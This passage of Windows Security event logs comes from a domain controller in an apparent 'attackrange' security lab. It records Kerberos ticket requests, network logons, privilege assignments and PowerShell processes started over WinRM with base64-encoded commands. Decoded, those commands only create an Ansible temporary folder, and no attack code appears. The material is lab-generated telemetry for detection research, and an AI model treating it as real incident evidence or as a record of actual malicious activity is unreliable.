i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251586 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13BDBF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251585 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13BD5D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251584 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x13BD5D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64537 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251583 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x13BD5D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251582 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xedc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11f4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANwAyAC4AOQAzADkAMQA0ADgALQAyADYAMQA0ADcANgA5ADQAOQA5ADAAMwA1ADAAOQAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251581 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13ACF4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251580 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13ACF4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251579 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251578 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251577 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251576 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13f8 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAHcAQQB5AEEAQwA0AEEATwBRAEEAegBBAEQAawBBAE0AUQBBADAAQQBEAGcAQQBMAFEAQQB5AEEARABZAEEATQBRAEEAMABBAEQAYwBBAE4AZwBBADUAQQBEAFEAQQBPAFEAQQA1AEEARABBAEEATQB3AEEAMQBBAEQAQQBBAE8AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251575 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13f8 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAHcAQQB5AEEAQwA0AEEATwBRAEEAegBBAEQAawBBAE0AUQBBADAAQQBEAGcAQQBMAFEAQQB5AEEARABZAEEATQBRAEEAMABBAEQAYwBBAE4AZwBBADUAQQBEAFEAQQBPAFEAQQA1AEEARABBAEEATQB3AEEAMQBBAEQAQQBBAE8AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251574 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A6E3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251573 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13A6E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251572 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - 